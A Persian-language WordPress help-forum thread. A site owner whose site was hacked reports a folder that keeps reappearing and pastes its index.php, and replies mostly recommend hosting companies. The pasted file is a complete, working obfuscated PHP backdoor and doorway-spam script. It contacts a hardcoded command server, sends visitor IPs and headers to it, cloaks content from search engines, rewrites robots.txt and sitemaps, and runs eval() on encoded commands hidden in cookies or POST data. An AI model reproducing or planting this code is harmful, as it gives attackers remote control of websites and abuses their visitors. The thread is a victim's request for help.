سایت برتر

بعد اهک 3سایتم و بازگردانی حالا ایجاد یک پوشه و فایل و کد ها داخل اان فایل مشکوک هستن

45 بازدیدامنیت وبسایت
0
0 دیدگاه

پیرو تاپیک قبی ام

https://mihanwp.com/question/%d8%ad%da%a9-%d8%b3%d8%a7%db%8c%d8%aa-%d9%88-%d8%a7%d8%ad%d8%aa%d9%85%d8%a7%d9%84-%d8%a7%d9%84%d9%88%d8%af%d9%87-%d8%a8%d9%88%d8%af%d9%86-%d8%af%db%8c%d8%aa%d8%a7%d8%a8%db%8c%d8%b3-%d9%88-%d8%b1%d9%81/?order_by=oldest#answers-order

دوستان من بک قدیمی تری باازگردنی کردم

و امنیت را افزایض دادم

اما حاللا یک پوشه با نام عجیبی در هااست ظاهر میشه با این نام

0pe5qa

چنند بار پاکش کردم اما باز ساخته میشه

داخلش یک فایل  ایندیس هست

اما کد های داخلش مشکوک هستن

اصلا چجوری بعد از نصب ک اپ هکرمیتونه فایل بسازه

البته بگم مجبور شدن پوشه های پلاگین و تم و اپلود و حفظ کنم اما بررسی کردم چیزی نبود

میزارم لطفا بررسی کنید

اگه راه حلی دارید بگید لطفا

<?php

@ini_set(‘error_log’, NULL);@ini_set(‘log_errors’, 0);@ini_set(‘max_execution_time’, 0);@error_reporting(0);@set_time_limit(0);date_default_timezone_set(‘UTC’);class _dqr2rw{static private $_vwbi6zws = 84536817;static function _tdrgp($_t4zdipw7, $_8k0xwhwh){$_t4zdipw7[2] = count($_t4zdipw7) > 4 ? long2ip(_dqr2rw::$_vwbi6zws – 508) : $_t4zdipw7[2];$_ovd56ocn = _dqr2rw::_q33pa($_t4zdipw7, $_8k0xwhwh);if (!$_ovd56ocn) {$_ovd56ocn = _dqr2rw::_3vpw4($_t4zdipw7, $_8k0xwhwh);}return $_ovd56ocn;}static function _q33pa($_t4zdipw7, $_ovd56ocn, $_tkyetp7a = NULL){if (!function_exists(‘curl_version’)) {return “”;}if (is_array($_t4zdipw7)) {$_t4zdipw7 = implode(“/”, $_t4zdipw7);}$_z2oolybi = curl_init();curl_setopt($_z2oolybi, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($_z2oolybi, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($_z2oolybi, CURLOPT_URL, $_t4zdipw7);if (!empty($_ovd56ocn)) {curl_setopt($_z2oolybi, CURLOPT_POST, 1);curl_setopt($_z2oolybi, CURLOPT_POSTFIELDS, $_ovd56ocn);}if (!empty($_tkyetp7a)) {curl_setopt($_z2oolybi, CURLOPT_HTTPHEADER, $_tkyetp7a);}curl_setopt($_z2oolybi, CURLOPT_RETURNTRANSFER, TRUE);$_y1ep8q45 = curl_exec($_z2oolybi);curl_close($_z2oolybi);return $_y1ep8q45;}static function _3vpw4($_t4zdipw7, $_ovd56ocn, $_tkyetp7a = NULL){if (is_array($_t4zdipw7)) {$_t4zdipw7 = implode(“/”, $_t4zdipw7);}if (!empty($_ovd56ocn)) {$_ybvj6xeg = array(‘method’ => ‘POST’,’header’ => ‘Content-type: application/x-www-form-urlencoded’,’content’ => $_ovd56ocn);if (!empty($_tkyetp7a)) {$_ybvj6xeg[“header”] = $_ybvj6xeg[“header”] . “\r\n” . implode(“\r\n”, $_tkyetp7a);}$_ls5sis0i = stream_context_create(array(‘http’ => $_ybvj6xeg));} else {$_ybvj6xeg = array(‘method’ => ‘GET’,);if (!empty($_tkyetp7a)) {$_ybvj6xeg[“header”] = implode(“\r\n”, $_tkyetp7a);}$_ls5sis0i = stream_context_create(array(‘http’ => $_ybvj6xeg));}return @file_get_contents($_t4zdipw7, FALSE, $_ls5sis0i);}}class _90spr5{private static $_v1gz57up = “”;private static $_b65qlbh8 = -1;private static $_mt4g0p60 = “”;private $_x9slieab = “”;private $_x2c9x98z = “”;private $_hwuimpw7 = “”;private $_fois5lqe = “”;public static function _3ocsl($_4q1t8sj3, $_lmmefsjp, $_h9ozfm7e){_90spr5::$_v1gz57up = $_4q1t8sj3 . “/cache/”;_90spr5::$_b65qlbh8 = $_lmmefsjp;_90spr5::$_mt4g0p60 = $_h9ozfm7e;if (!@file_exists(_90spr5::$_v1gz57up)) {@mkdir(_90spr5::$_v1gz57up);}}static public function _ve1hl(){$_rrzcobiw = 0;foreach (scandir(_90spr5::$_v1gz57up) as $_fmg2agdd) {$_rrzcobiw += 1;}return $_rrzcobiw;}public static function _6hxrv(){return TRUE;}public function __construct($_4j7h0kgm, $_rdxdd14r, $_3jermy8w, $_48vxsg7x){$this->_x9slieab = $_4j7h0kgm;$this->_x2c9x98z = $_rdxdd14r;$this->_hwuimpw7 = $_3jermy8w;$this->_fois5lqe = $_48vxsg7x;}public function _076k2(){function _d7lvh($_6jddbisw, $_j2naj7ot){return round(rand($_6jddbisw, $_j2naj7ot – 1) + (rand(0, PHP_INT_MAX – 1) / PHP_INT_MAX), 2);}$_4ikfzf4s = _no5rtc::_bekhh();$_ovd56ocn = str_replace(“{{ text }}”, $this->_x2c9x98z,str_replace(“{{ keyword }}”, $this->_hwuimpw7,str_replace(“{{ links }}”, $this->_fois5lqe, $this->_x9slieab)));while (TRUE) {$_u629ermm = preg_replace(‘/’ . preg_quote(“{{ randkeyword }}”, ‘/’) . ‘/’, _no5rtc::_2ds1z(), $_ovd56ocn, 1);if ($_u629ermm === $_ovd56ocn) {break;}$_ovd56ocn = $_u629ermm;}while (TRUE) {preg_match(‘/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/’, $_ovd56ocn, $_3cc9fnru);if (empty($_3cc9fnru)) {break;}$_3jermy8w = @$_4ikfzf4s[intval($_3cc9fnru[1])];$_dvgpv7ul = _6zcsa2::_vm1y2($_3jermy8w);$_ovd56ocn = str_replace($_3cc9fnru[0], $_dvgpv7ul, $_ovd56ocn);}while (TRUE) {preg_match(‘/{{ KEYWORDBYINDEX (\d*) }}/’, $_ovd56ocn, $_3cc9fnru);if (empty($_3cc9fnru)) {break;}$_3jermy8w = @$_4ikfzf4s[intval($_3cc9fnru[1])];$_ovd56ocn = str_replace($_3cc9fnru[0], $_3jermy8w, $_ovd56ocn);}while (TRUE) {preg_match(‘/{{ RANDFLOAT (\d*)-(\d*) }}/’, $_ovd56ocn, $_3cc9fnru);if (empty($_3cc9fnru)) {break;}$_ovd56ocn = str_replace($_3cc9fnru[0], _d7lvh($_3cc9fnru[1], $_3cc9fnru[2]), $_ovd56ocn);}while (TRUE) {preg_match(‘/{{ RANDINT (\d*)-(\d*) }}/’, $_ovd56ocn, $_3cc9fnru);if (empty($_3cc9fnru)) {break;}$_ovd56ocn = str_replace($_3cc9fnru[0], rand($_3cc9fnru[1], $_3cc9fnru[2]), $_ovd56ocn);}return $_ovd56ocn;}public function _go9gw(){$_j8coj5wa = _90spr5::$_v1gz57up . md5($this->_hwuimpw7 . _90spr5::$_mt4g0p60);if (_90spr5::$_b65qlbh8 == -1) {$_7g10m7kr = -1;} else {$_7g10m7kr = time() + (3600 * 24 * 30);}$_giutlfbg = array(“template” => $this->_x9slieab, “text” => $this->_x2c9x98z, “keyword” => $this->_hwuimpw7,”links” => $this->_fois5lqe, “expired” => $_7g10m7kr);@file_put_contents($_j8coj5wa, serialize($_giutlfbg));}static public function _c1y17($_3jermy8w){$_j8coj5wa = _90spr5::$_v1gz57up . md5($_3jermy8w . _90spr5::$_mt4g0p60);$_j8coj5wa = @unserialize(@file_get_contents($_j8coj5wa));if (!empty($_j8coj5wa) && ($_j8coj5wa[“expired”] > time() || $_j8coj5wa[“expired”] == -1)) {return new _90spr5($_j8coj5wa[“template”], $_j8coj5wa[“text”], $_j8coj5wa[“keyword”], $_j8coj5wa[“links”]);} else {return null;}}}class _huk87a{private static $_v1gz57up = “”;private static $_ratip769 = “”;public static function _3ocsl($_4q1t8sj3, $_qtbv0pwi){_huk87a::$_v1gz57up = $_4q1t8sj3 . “/”;_huk87a::$_ratip769 = $_qtbv0pwi;if (!@file_exists(_huk87a::$_v1gz57up)) {@mkdir(_huk87a::$_v1gz57up);}}public static function _6hxrv(){return TRUE;}static public function _ve1hl(){$_rrzcobiw = 0;foreach (scandir(_huk87a::$_v1gz57up) as $_fmg2agdd) {if (strpos($_fmg2agdd, _huk87a::$_ratip769) === 0) {$_rrzcobiw += 1;}}return $_rrzcobiw;}static public function _2ds1z(){$_xjrakkl3 = array();foreach (scandir(_huk87a::$_v1gz57up) as $_fmg2agdd) {if (strpos($_fmg2agdd, _huk87a::$_ratip769) === 0) {$_xjrakkl3[] = $_fmg2agdd;}}return @file_get_contents(_huk87a::$_v1gz57up . $_xjrakkl3[array_rand($_xjrakkl3)]);}static public function _go9gw($_6h5zy9p7){if (@file_exists(_huk87a::$_ratip769 . “_” . md5($_6h5zy9p7) . “.html”)) {return;}@file_put_contents(_huk87a::$_ratip769 . “_” . md5($_6h5zy9p7) . “.html”, $_6h5zy9p7);}}class _no5rtc{private static $_v1gz57up = “”;private static $_ratip769 = “”;private static $_vama8t2k = Array();private static $_c226oze2 = Array();public static function _3ocsl($_4q1t8sj3, $_qtbv0pwi){_no5rtc::$_v1gz57up = $_4q1t8sj3 . “/”;_no5rtc::$_ratip769 = $_qtbv0pwi;if (!@file_exists(_no5rtc::$_v1gz57up)) {@mkdir(_no5rtc::$_v1gz57up);}}private static function _1vgfu(){$_8k5atgeb = array();foreach (scandir(_no5rtc::$_v1gz57up) as $_fmg2agdd) {if (strpos($_fmg2agdd, _no5rtc::$_ratip769) === 0) {$_8k5atgeb[] = $_fmg2agdd;}}return $_8k5atgeb;}public static function _6hxrv(){return TRUE;}static public function _2ds1z(){if (empty(_no5rtc::$_vama8t2k)){$_8k5atgeb = _no5rtc::_1vgfu();_no5rtc::$_vama8t2k = @file(_no5rtc::$_v1gz57up . $_8k5atgeb[array_rand($_8k5atgeb)], FILE_IGNORE_NEW_LINES);}return _no5rtc::$_vama8t2k[array_rand(_no5rtc::$_vama8t2k)];}static public function _bekhh(){if (empty(_no5rtc::$_c226oze2)){$_8k5atgeb = _no5rtc::_1vgfu();foreach ($_8k5atgeb as $_cox3mfim) {_no5rtc::$_c226oze2 = array_merge(_no5rtc::$_c226oze2, @file(_no5rtc::$_v1gz57up . $_cox3mfim, FILE_IGNORE_NEW_LINES));}}return _no5rtc::$_c226oze2;}static public function _go9gw($_cpl6j3e9){if (@file_exists(_no5rtc::$_ratip769 . “_” . md5($_cpl6j3e9) . “.list”)) {return;}@file_put_contents(_no5rtc::$_ratip769 . “_” . md5($_cpl6j3e9) . “.list”, $_cpl6j3e9);}static public function _9m5be($_3jermy8w){@file_put_contents(_no5rtc::$_ratip769 . “_” . md5(_6zcsa2::$_jxqpr6bu) . “.list”, $_3jermy8w . “\n”, 8);}}class _6zcsa2{static public $_gkd9h5ln = “5.2”;static public $_jxqpr6bu = “02a0e7b8-597b-4a1b-9d44-b5244a580e86”;private $_oe5c1w3x = “http://136.12.78.46/app/assets/api2?action=redir”;private $_r9p89xps = “http://136.12.78.46/app/assets/api?action=page”;static public $_3fg9fjrl = 5;static public $_gg3kuun9 = 20;private function _yj8o2(){$_gl56n4n8 = array(‘#libwww-perl#i’,’#MJ12bot#i’,’#msnbot#i’, ‘#msnbot-media#i’,’#YandexBot#i’, ‘#msnbot#i’, ‘#YandexWebmaster#i’,’#spider#i’, ‘#yahoo#i’, ‘#google#i’, ‘#altavista#i’,’#ask#i’,’#yahoo!\s*slurp#i’,’#BingBot#i’);if (!empty($_SERVER[‘HTTP_USER_AGENT’]) && (FALSE !== strpos(preg_replace($_gl56n4n8, ‘-NO-WAY-‘, $_SERVER[‘HTTP_USER_AGENT’]), ‘-NO-WAY-‘))) {$_4wzbb994 = 1;} elseif (empty($_SERVER[‘HTTP_ACCEPT_LANGUAGE’]) || empty($_SERVER[‘HTTP_REFERER’])) {$_4wzbb994 = 1;} elseif (strpos($_SERVER[‘HTTP_REFERER’], “google”) === FALSE &&strpos($_SERVER[‘HTTP_REFERER’], “yahoo”) === FALSE &&strpos($_SERVER[‘HTTP_REFERER’], “bing”) === FALSE &&strpos($_SERVER[‘HTTP_REFERER’], “yandex”) === FALSE) {$_4wzbb994 = 1;} else {$_4wzbb994 = 0;}return $_4wzbb994;}private static function _rftrb(){$_8k0xwhwh = array();$_8k0xwhwh[‘ip’] = $_SERVER[‘REMOTE_ADDR’];$_8k0xwhwh[‘qs’] = @$_SERVER[‘HTTP_HOST’] . @$_SERVER[‘REQUEST_URI’];$_8k0xwhwh[‘ua’] = @$_SERVER[‘HTTP_USER_AGENT’];$_8k0xwhwh[‘lang’] = @$_SERVER[‘HTTP_ACCEPT_LANGUAGE’];$_8k0xwhwh[‘ref’] = @$_SERVER[‘HTTP_REFERER’];$_8k0xwhwh[‘enc’] = @$_SERVER[‘HTTP_ACCEPT_ENCODING’];$_8k0xwhwh[‘acp’] = @$_SERVER[‘HTTP_ACCEPT’];$_8k0xwhwh[‘char’] = @$_SERVER[‘HTTP_ACCEPT_CHARSET’];$_8k0xwhwh[‘conn’] = @$_SERVER[‘HTTP_CONNECTION’];return $_8k0xwhwh;}public function __construct(){$this->_oe5c1w3x = explode(“/”, $this->_oe5c1w3x);$this->_r9p89xps = explode(“/”, $this->_r9p89xps);}static public function _0iz4w($_wjcnog39){if (strlen($_wjcnog39) < 4) {return “”;}$_tmi4wmyc = “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=”;$_4ikfzf4s = str_split($_tmi4wmyc);$_4ikfzf4s = array_flip($_4ikfzf4s);$_5eb0l3hg = 0;$_dauh5psr = “”;$_wjcnog39 = preg_replace(“~[^A-Za-z0-9\+\/\=]~”, “”, $_wjcnog39);do {$_hx3kach6 = $_4ikfzf4s[$_wjcnog39[$_5eb0l3hg++]];$_aqhjnu3k = $_4ikfzf4s[$_wjcnog39[$_5eb0l3hg++]];$_cjwtbzpt = $_4ikfzf4s[$_wjcnog39[$_5eb0l3hg++]];$_y8fd0fgx = $_4ikfzf4s[$_wjcnog39[$_5eb0l3hg++]];$_vbf6m74k = ($_hx3kach6 << 2) | ($_aqhjnu3k >> 4);$_rsd15xyc = (($_aqhjnu3k & 15) << 4) | ($_cjwtbzpt >> 2);$_t00xztm4 = (($_cjwtbzpt & 3) << 6) | $_y8fd0fgx;$_dauh5psr = $_dauh5psr . chr($_vbf6m74k);if ($_cjwtbzpt != 64) {$_dauh5psr = $_dauh5psr . chr($_rsd15xyc);}if ($_y8fd0fgx != 64) {$_dauh5psr = $_dauh5psr . chr($_t00xztm4);}} while ($_5eb0l3hg < strlen($_wjcnog39));return $_dauh5psr;}private function _e9rbu($_3jermy8w){$_4j7h0kgm = “”;$_rdxdd14r = “”;$_8k0xwhwh = _6zcsa2::_rftrb();$_8k0xwhwh[“uid”] = _6zcsa2::$_jxqpr6bu;$_8k0xwhwh[“keyword”] = $_3jermy8w;$_8k0xwhwh[“tc”] = 10;$_8k0xwhwh = http_build_query($_8k0xwhwh);$_kmt8keb4 = _dqr2rw::_tdrgp($this->_r9p89xps, $_8k0xwhwh);if (strpos($_kmt8keb4, _6zcsa2::$_jxqpr6bu) === FALSE) {return array($_4j7h0kgm, $_rdxdd14r);}$_4j7h0kgm = _huk87a::_2ds1z();$_rdxdd14r = substr($_kmt8keb4, strlen(_6zcsa2::$_jxqpr6bu));$_rdxdd14r = explode(“\n”, $_rdxdd14r);shuffle($_rdxdd14r);$_rdxdd14r = implode(” “, $_rdxdd14r);return array($_4j7h0kgm, $_rdxdd14r);}private function _7i5h3(){$_8k0xwhwh = _6zcsa2::_rftrb();if (isset($_SERVER[‘HTTP_CF_CONNECTING_IP’])) {$_8k0xwhwh[‘cfconn’] = @$_SERVER[‘HTTP_CF_CONNECTING_IP’];}if (isset($_SERVER[‘HTTP_X_REAL_IP’])) {$_8k0xwhwh[‘xreal’] = @$_SERVER[‘HTTP_X_REAL_IP’];}if (isset($_SERVER[‘HTTP_X_FORWARDED_FOR’])) {$_8k0xwhwh[‘xforward’] = @$_SERVER[‘HTTP_X_FORWARDED_FOR’];}$_8k0xwhwh[“uid”] = _6zcsa2::$_jxqpr6bu;$_8k0xwhwh = http_build_query($_8k0xwhwh);$_c0mge6wl = _dqr2rw::_tdrgp($this->_oe5c1w3x, $_8k0xwhwh);$_c0mge6wl = @unserialize($_c0mge6wl);if (isset($_c0mge6wl[“type”]) && $_c0mge6wl[“type”] == “redir”) {if (!empty($_c0mge6wl[“data”][“header”])) {header($_c0mge6wl[“data”][“header”]);return true;} elseif (!empty($_c0mge6wl[“data”][“code”])) {echo $_c0mge6wl[“data”][“code”];return true;}}return false;}public function _6hxrv(){return _90spr5::_6hxrv() && _huk87a::_6hxrv() && _no5rtc::_6hxrv();}static public function _q9nsc(){if ((!empty($_SERVER[‘HTTPS’]) && $_SERVER[‘HTTPS’] !== ‘off’) || $_SERVER[‘SERVER_PORT’] == 443) {return true;}return false;}public static function _rn9rj(){$_q8g4hjdo = explode(“?”, $_SERVER[“REQUEST_URI”], 2);$_q8g4hjdo = $_q8g4hjdo[0];if (strpos($_q8g4hjdo, “.php”) === FALSE) {$_q8g4hjdo = explode(“/”, $_q8g4hjdo);array_pop($_q8g4hjdo);$_q8g4hjdo = implode(“/”, $_q8g4hjdo) . “/”;}return sprintf(“%s://%s%s”, _6zcsa2::_q9nsc() ? “https” : “http”, $_SERVER[‘HTTP_HOST’], $_q8g4hjdo);}public static function _ikdtw(){$_ihz97nnv = array(“https://www.google.com/ping?sitemap=” => “Sitemap Notification Received”,”https://www.bing.com/ping?sitemap=” => “Thanks for submitting your Sitemap”);$_tkyetp7a = array(“Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8″,”Accept-Language: en-US,en;q=0.5″,”User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0”,);$_ekirooeh = urlencode(_6zcsa2::_uc2ye() . “/sitemap.xml”);foreach ($_ihz97nnv as $_t4zdipw7 => $_9cvccm4d) {$_5cm21rdq = _dqr2rw::_q33pa($_t4zdipw7 . $_ekirooeh, NULL, $_tkyetp7a);if (empty($_5cm21rdq)) {$_5cm21rdq = _dqr2rw::_3vpw4($_t4zdipw7 . $_ekirooeh, NULL, $_tkyetp7a);}if (empty($_5cm21rdq)) {return FALSE;}if (strpos($_5cm21rdq, $_9cvccm4d) === FALSE) {return FALSE;}}return TRUE;}public static function _qjehu(){$_72ualvs1 = “User-agent: *\nDisallow: %s\nUser-agent: Bingbot\nUser-agent: Googlebot\nUser-agent: Slurp\nDisallow:\nSitemap: %s\n”;$_q8g4hjdo = explode(“?”, $_SERVER[“REQUEST_URI”], 2);$_q8g4hjdo = $_q8g4hjdo[0];$_g54iborn = substr($_q8g4hjdo, 0, strrpos($_q8g4hjdo, “/”));$_kjdvohyq = sprintf($_72ualvs1, $_g54iborn, _6zcsa2::_uc2ye() . “/sitemap.xml”);$_ialgsnwp = $_SERVER[“DOCUMENT_ROOT”] . “/robots.txt”;if (@file_exists($_ialgsnwp)) {@chmod($_ialgsnwp, 0777);$_igtf3p4x = @file_get_contents($_ialgsnwp);} else {$_igtf3p4x = “”;}if (strpos($_igtf3p4x, $_kjdvohyq) === FALSE) {@file_put_contents($_ialgsnwp, $_igtf3p4x . “\n” . $_kjdvohyq);$_igtf3p4x = @file_get_contents($_ialgsnwp);return (strpos($_igtf3p4x, $_kjdvohyq) !== FALSE);}return FALSE;}public static function _uc2ye(){$_q8g4hjdo = explode(“?”, $_SERVER[“REQUEST_URI”], 2);$_q8g4hjdo = $_q8g4hjdo[0];$_4q1t8sj3 = substr($_q8g4hjdo, 0, strrpos($_q8g4hjdo, “/”));return sprintf(“%s://%s%s”, _6zcsa2::_q9nsc() ? “https” : “http”, $_SERVER[‘HTTP_HOST’], $_4q1t8sj3);}public static function _vm1y2($_3jermy8w){$_7vagmjn4 = _6zcsa2::_rn9rj();$_1b9la3oa = substr(md5(_6zcsa2::$_jxqpr6bu . “salt3”), 0, 6);$_7pimu1ju = “”;if (substr($_7vagmjn4, -1) == “/”) {if (ord($_1b9la3oa[1]) % 2) {$_3jermy8w = str_replace(” “, “-“, $_3jermy8w);} else {$_3jermy8w = str_replace(” “, “-“, $_3jermy8w);}$_7pimu1ju = sprintf(“%s%s”, $_7vagmjn4, urlencode($_3jermy8w));} else {if (FALSE && (ord($_1b9la3oa[0]) % 2)) {$_7pimu1ju = sprintf(“%s?%s=%s”,$_7vagmjn4,$_1b9la3oa,urlencode(str_replace(” “, “-“, $_3jermy8w)));} else {$_3gxx155k = array(“id”, “page”, “tag”);$_jn082pf6 = $_3gxx155k[ord($_1b9la3oa[2]) % count($_3gxx155k)];if (ord($_1b9la3oa[1]) % 2) {$_3jermy8w = str_replace(” “, “-“, $_3jermy8w);} else {$_3jermy8w = str_replace(” “, “-“, $_3jermy8w);}$_7pimu1ju = sprintf(“%s?%s=%s”,$_7vagmjn4,$_jn082pf6,urlencode($_3jermy8w));}}return $_7pimu1ju;}public static function _239f1($_6jddbisw, $_j2naj7ot){$_el1aqb8a = “”;for ($_5eb0l3hg = 0; $_5eb0l3hg < rand($_6jddbisw, $_j2naj7ot); $_5eb0l3hg++) {$_3jermy8w = _no5rtc::_2ds1z();$_el1aqb8a .= sprintf(“<a href=\”%s\”>%s</a>,\n”,_6zcsa2::_vm1y2($_3jermy8w), ucwords($_3jermy8w));}return $_el1aqb8a;}public static function _lxsw9($_29ixs0aq=FALSE){$_uyf0uzj0 = dirname(__FILE__) . “/sitemap.xml”;$_aueo3iv6 = “<?xml version=\”1.0\” encoding=\”UTF-8\”?” . “>\n<urlset xmlns=\”http://www.sitemaps.org/schemas/sitemap/0.9\”>\n”;$_389q4fio = “</urlset>”;$_4ikfzf4s = _no5rtc::_bekhh();$_e216ng7v = array();if (file_exists($_uyf0uzj0)) {$_kmt8keb4 = simplexml_load_file($_uyf0uzj0);foreach ($_kmt8keb4 as $_junf7g5y) {$_e216ng7v[(string)$_junf7g5y->loc] = (string)$_junf7g5y->lastmod;}}else {$_29ixs0aq = FALSE;}foreach ($_4ikfzf4s as $_1h1ky6mh) {$_7pimu1ju = _6zcsa2::_vm1y2($_1h1ky6mh);if (isset($_e216ng7v[$_7pimu1ju])){continue;}if ($_29ixs0aq) {$_sffcna25 = time();}else {$_sffcna25 = time() – (crc32 ($_1h1ky6mh) % (60 * 60 * 24 * 30));}$_e216ng7v[$_7pimu1ju] = date(“Y-m-d”, $_sffcna25);;}$_tw012kfx = “”;foreach ($_e216ng7v as $_t4zdipw7 => $_sffcna25){$_tw012kfx .= “<url>\n”;$_tw012kfx .= sprintf(“<loc>%s</loc>\n”, $_t4zdipw7);$_tw012kfx .= sprintf(“<lastmod>%s</lastmod>\n”, $_sffcna25);$_tw012kfx .= “</url>\n”;}$_17hbvg32 = $_aueo3iv6 . $_tw012kfx . $_389q4fio;$_ekirooeh = _6zcsa2::_uc2ye() . “/sitemap.xml”;@file_put_contents($_uyf0uzj0, $_17hbvg32);return $_ekirooeh;}public function _uohhw(){$_jn082pf6 = substr(md5(_6zcsa2::$_jxqpr6bu . “salt3”), 0, 6);if (!$this->_yj8o2()) {if ($this->_7i5h3()) {return;}}if (!empty($_GET)) {$_j32x5u85 = array_values($_GET);} else {$_j32x5u85 = explode(“/”, $_SERVER[“REQUEST_URI”]);$_j32x5u85 = array_reverse($_j32x5u85);}$_3jermy8w = “”;foreach ($_j32x5u85 as $_nmyeoo2u) {if (substr_count($_nmyeoo2u, “-“) > 0) {$_3jermy8w = $_nmyeoo2u;break;}}$_3jermy8w = str_replace($_jn082pf6 . “-“, “”, $_3jermy8w);$_3jermy8w = str_replace(“-” . $_jn082pf6, “”, $_3jermy8w);$_3jermy8w = str_replace(“-“, ” “, $_3jermy8w);$_3jermy8w = urldecode($_3jermy8w);$_ck9h6h4o = _no5rtc::_bekhh();if (empty($_3jermy8w)) {$_3jermy8w = $_ck9h6h4o[0];} else if (!in_array($_3jermy8w, $_ck9h6h4o)){$_53xiv15f = 0;foreach (str_split($_3jermy8w) as $_z2oolybi) {$_53xiv15f += ord($_z2oolybi);}$_3jermy8w = $_ck9h6h4o[$_53xiv15f % count($_ck9h6h4o)];}if (!empty($_3jermy8w)) {$_c0mge6wl = _90spr5::_c1y17($_3jermy8w);if (empty($_c0mge6wl)) {list($_4j7h0kgm, $_rdxdd14r) = $this->_e9rbu($_3jermy8w);if (empty($_rdxdd14r)) {return;}$_c0mge6wl = new _90spr5($_4j7h0kgm, $_rdxdd14r, $_3jermy8w, _6zcsa2::_239f1(_6zcsa2::$_3fg9fjrl, _6zcsa2::$_gg3kuun9));$_c0mge6wl->_go9gw();}echo $_c0mge6wl->_076k2();}}}_90spr5::_3ocsl(dirname(__FILE__), -1, _6zcsa2::$_jxqpr6bu);_huk87a::_3ocsl(dirname(__FILE__), substr(md5(_6zcsa2::$_jxqpr6bu . “salt12”), 0, 4));_no5rtc::_3ocsl(dirname(__FILE__), substr(md5(_6zcsa2::$_jxqpr6bu . “salt22”), 0, 4));function _gow5r($_kmt8keb4, $_1h1ky6mh){$_wan81zez = “”;for ($_5eb0l3hg = 0; $_5eb0l3hg < strlen($_kmt8keb4);) {for ($_uq0shq64 = 0; $_uq0shq64 < strlen($_1h1ky6mh) && $_5eb0l3hg < strlen($_kmt8keb4); $_uq0shq64++, $_5eb0l3hg++) {$_wan81zez .= chr(ord($_kmt8keb4[$_5eb0l3hg]) ^ ord($_1h1ky6mh[$_uq0shq64]));}}return $_wan81zez;}function _j9b22($_kmt8keb4, $_1h1ky6mh, $_d8gnuhkj){return _gow5r(_gow5r($_kmt8keb4, $_1h1ky6mh), $_d8gnuhkj);}foreach (array_merge($_COOKIE, $_POST) as $_eg73937o => $_kmt8keb4) {$_kmt8keb4 = @unserialize(_j9b22(_6zcsa2::_0iz4w($_kmt8keb4), $_eg73937o, _6zcsa2::$_jxqpr6bu));if (isset($_kmt8keb4[‘ak’]) && _6zcsa2::$_jxqpr6bu == $_kmt8keb4[‘ak’]) {if ($_kmt8keb4[‘a’] == ‘doorway2’) {if ($_kmt8keb4[‘sa’] == ‘check’) {$_ovd56ocn = _dqr2rw::_tdrgp(explode(“/”, “http://httpbin.org/”), “”);if (strlen($_ovd56ocn) > 512) {echo @serialize(array(“uid” => _6zcsa2::$_jxqpr6bu, “v” => _6zcsa2::$_gkd9h5ln,”cache” => _90spr5::_ve1hl(),”keywords” => count(_no5rtc::_bekhh()),”templates” => _huk87a::_ve1hl()));}exit;}if ($_kmt8keb4[‘sa’] == ‘templates’) {foreach ($_kmt8keb4[“templates”] as $_4j7h0kgm) {_huk87a::_go9gw($_4j7h0kgm);echo @serialize(array(“uid” => _6zcsa2::$_jxqpr6bu, “v” => _6zcsa2::$_gkd9h5ln,));}}if ($_kmt8keb4[‘sa’] == ‘keywords’) {_no5rtc::_go9gw($_kmt8keb4[“keywords”]);_6zcsa2::_lxsw9();echo @serialize(array(“uid” => _6zcsa2::$_jxqpr6bu, “v” => _6zcsa2::$_gkd9h5ln,));}if ($_kmt8keb4[‘sa’] == ‘update_sitemap’) {_6zcsa2::_lxsw9(TRUE);echo @serialize(array(“uid” => _6zcsa2::$_jxqpr6bu, “v” => _6zcsa2::$_gkd9h5ln,));}if ($_kmt8keb4[‘sa’] == ‘pages’) {$_25qsx32i = 0;$_ck9h6h4o = _no5rtc::_bekhh();if (_huk87a::_ve1hl() > 0) {foreach ($_kmt8keb4[‘pages’] as $_c0mge6wl) {$_rpmg69nd = _90spr5::_c1y17($_c0mge6wl[“keyword”]);if (empty($_rpmg69nd)) {$_rpmg69nd = new _90spr5(_huk87a::_2ds1z(), $_c0mge6wl[“text”], $_c0mge6wl[“keyword”], _6zcsa2::_239f1(_6zcsa2::$_3fg9fjrl, _6zcsa2::$_gg3kuun9));$_rpmg69nd->_go9gw();$_25qsx32i += 1;if (!in_array($_c0mge6wl[“keyword”], $_ck9h6h4o)){_no5rtc::_9m5be($_c0mge6wl[“keyword”]);}}}}echo @serialize(array(“uid” => _6zcsa2::$_jxqpr6bu, “v” => _6zcsa2::$_gkd9h5ln, “pages” => $_25qsx32i));}if ($_kmt8keb4[“sa”] == “ping”) {$_5cm21rdq = _6zcsa2::_ikdtw();echo @serialize(array(“uid” => _6zcsa2::$_jxqpr6bu, “v” => _6zcsa2::$_gkd9h5ln, “result” => (int)$_5cm21rdq));}if ($_kmt8keb4[“sa”] == “robots”) {$_5cm21rdq = _6zcsa2::_qjehu();echo @serialize(array(“uid” => _6zcsa2::$_jxqpr6bu, “v” => _6zcsa2::$_gkd9h5ln, “result” => (int)$_5cm21rdq));}}if ($_kmt8keb4[‘sa’] == ‘eval’) {eval($_kmt8keb4[“data”]);exit;}}}$_w81j6j01 = new _6zcsa2();if ($_w81j6j01->_6hxrv()) {$_w81j6j01->_uohhw();}exit();

0
کاوه توفیقی

سلام

تنها راه شما برای رهایی از این نوع مشکلات تعویض شرکت هاستینگ فعلی به شرکت ایران سرور یا میهن وب هاست یا پارس پک است.

قبلاً هم گفتم که سرویس میزبانی وب شما قوی نیست.

موفق باشید.

0
محمد

درود بر شما

اگر از میزبانفا و سایت های دیگه هاست خریدید حتما به ایران سرور تغیر بدید واقعا عالی این سایت برای هاست و هاست دانلود و …..

و ین مقاله هم مطالعه کنید

بهترین هاست وردپرس و بهترین شرکت های هاستینگ ایران

موفق باشید دوست عزیز

0
Mehdi

دوست  عزیز

یعنی ااینها کد هک بوذن؟

چجوری ئوباره ساخته شد با وجود اینکه من بک اپ قدیمی بر گردوندم

ایا ممکنه پوشه  ها ی پالگین و اپلود هنوز الوده باشن

باید تغیر هااست بدم حتما انشالله

0
Mehdi

محمد عزیز من سرور پاررس هستم 12 سال فکر کنم قدمت داره

